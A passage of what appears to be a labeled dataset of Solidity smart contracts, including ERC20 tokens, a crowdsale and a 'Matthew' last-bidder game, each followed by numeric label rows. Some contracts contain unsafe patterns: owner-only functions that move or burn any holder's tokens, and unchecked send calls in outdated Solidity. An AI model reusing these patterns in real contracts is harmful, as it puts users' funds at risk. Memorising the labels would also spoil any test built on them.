owner = _newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function totalSupply() public view returns(uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() { require(!mintingFinished); _; }
modifier hasMintPermission() { require(msg.sender == owner); _; }
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) public returns(bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Withdrawable is Ownable {
function withdrawEther(address _to, uint _value) onlyOwner public {
require(_to != address(0));
require(address(this).balance >= _value);
_to.transfer(_value);
}
function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public {
require(_token.transfer(_to, _value));
}
function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public {
require(_token.transferFrom(_from, _to, _value));
}
function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public {
require(_token.approve(_spender, _value));
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Manageable is Ownable {
address[] public managers;
event ManagerAdded(address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager() { require(isManager(msg.sender)); _; }
function countManagers() view public returns(uint) {
return managers.length;
}
function getManagers() view public returns(address[]) {
return managers;
}
function isManager(address _manager) view public returns(bool) {
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
return true;
}
}
return false;
}
function addManager(address _manager) onlyOwner public {
require(_manager != address(0));
require(!isManager(_manager));
managers.push(_manager);
emit ManagerAdded(_manager);
}
function removeManager(address _manager) onlyOwner public {
require(isManager(_manager));
uint index = 0;
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
index = i;
}
}
for(; index < managers.length - 1; index++) {
managers[index] = managers[index + 1];
}
managers.length--;
emit ManagerRemoved(_manager);
}
}
contract Token is CappedToken, BurnableToken, Withdrawable {
constructor() CappedToken(146880432e7) StandardToken("ABSOLUTME", "ABS", 7) public {
}
}
contract Crowdsale is Manageable, Withdrawable, Pausable {
using SafeMath for uint;
Token public token;
bool public crowdsaleClosed = false;
event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount);
event CrowdsaleClose();
constructor() public {
token = new Token();
}
function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager public {
token.mint(_to, _tokens);
emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens);
}
function closeCrowdsale(address _to) onlyOwner public {
require(!crowdsaleClosed);
token.finishMinting();
token.transferOwnership(_to);
crowdsaleClosed = true;
emit CrowdsaleClose();
}
} | 1 | 2,720 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Perper";
string public constant TOKEN_SYMBOL = "PER";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x66b88f3616101c8E03298FB856464d3f7F561A3A;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x66b88f3616101c8e03298fb856464d3f7f561a3a)];
uint[1] memory amounts = [uint(100000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 3,731 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != owner);
owner = newOwner;
}
}
contract TokenERC20 is owned {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function burn(address addr, uint256 _value) onlyOwner public returns (bool success) {
balanceOf[addr] = balanceOf[addr].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(addr, _value);
return true;
}
}
contract TOSC is owned, TokenERC20 {
using SafeMath for uint;
mapping (address => bool) public frozenAddress;
mapping (address => bool) percentLockedAddress;
mapping (address => uint256) percentLockAvailable;
event FrozenFunds(address target, bool frozen);
event PercentLocked(address target, uint percentage, uint256 availableValue);
event PercentLockRemoved(address target);
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to].add(_value) >= balanceOf[_to]);
require(!frozenAddress[_from]);
require(!frozenAddress[_to]);
if(percentLockedAddress[_from] == true){
require(_value <= percentLockAvailable[_from]);
percentLockAvailable[_from] = percentLockAvailable[_from].sub(_value);
}
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
emit Transfer(_from, _to, _value);
}
function freezeAddress(address target, bool freeze) onlyOwner public {
frozenAddress[target] = freeze;
emit FrozenFunds(target, freeze);
}
function PercentLock(address target,uint percentage, uint256 available) onlyOwner public{
percentLockedAddress[target] = true;
percentLockAvailable[target] = available;
emit PercentLocked(target, percentage, available);
}
function removePercentLock(address target)onlyOwner public{
percentLockedAddress[target] = false;
percentLockAvailable[target] = 0;
emit PercentLockRemoved(target);
}
function sendTransfer(address _from, address _to, uint256 _value)onlyOwner external{
_transfer(_from, _to, _value);
}
function getBalance(address addr) external view onlyOwner returns(uint256){
return balanceOf[addr];
}
function getfrozenAddress(address addr) onlyOwner external view returns(bool){
return frozenAddress[addr];
}
function getpercentLockedAccount(address addr) onlyOwner external view returns(bool){
return percentLockedAddress[addr];
}
function getpercentLockAvailable(address addr) onlyOwner external view returns(uint256){
return percentLockAvailable[addr];
}
} | 1 | 4,800 |
pragma solidity ^0.4.6;
contract Matthew {
address owner;
address public whale;
uint256 public blockheight;
uint256 public stake;
uint256 period = 40;
uint constant public DELTA = 0.1 ether;
uint constant public WINNERTAX_PRECENT = 10;
bool mustBeDestroyed = false;
uint newPeriod = period;
event MatthewWon(string msg, address winner, uint value, uint blocknumber);
event StakeIncreased(string msg, address staker, uint value, uint blocknumber);
function Matthew(){
owner = msg.sender;
setFacts();
}
function setFacts() private {
stake = this.balance;
period = newPeriod;
blockheight = block.number;
whale = msg.sender;
}
function () payable{
if (block.number - period >= blockheight){
bool isSuccess=false;
var nextStake = stake * WINNERTAX_PRECENT/100;
if (isSuccess == false)
isSuccess = whale.send(stake - nextStake);
MatthewWon("Matthew won", whale, stake - nextStake, block.number);
setFacts();
if (mustBeDestroyed) selfdestruct(whale);
return;
}else{
if (msg.value < stake + DELTA) throw;
bool isOtherSuccess = msg.sender.send(stake);
setFacts();
StakeIncreased("stake increased", whale, stake, blockheight);
}
}
function destroyWhenRoundOver() onlyOwner{
mustBeDestroyed = true;
}
function setNewPeriod(uint _newPeriod) onlyOwner{
newPeriod = _newPeriod;
}
function getPeriod() constant returns (uint){
return period;
}
function getNewPeriod() constant returns (uint){
return newPeriod;
}
function getDestroyedWhenRoundOver() constant returns (bool){
return mustBeDestroyed;
}
function getBlocksTillMatthew() public constant returns(uint){
if (blockheight + period > block.number)
return blockheight + period - block.number;
else
return 0;
}
modifier onlyOwner(){
if (msg.sender != owner) throw;
_;
}
} | 0 | 1,109 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
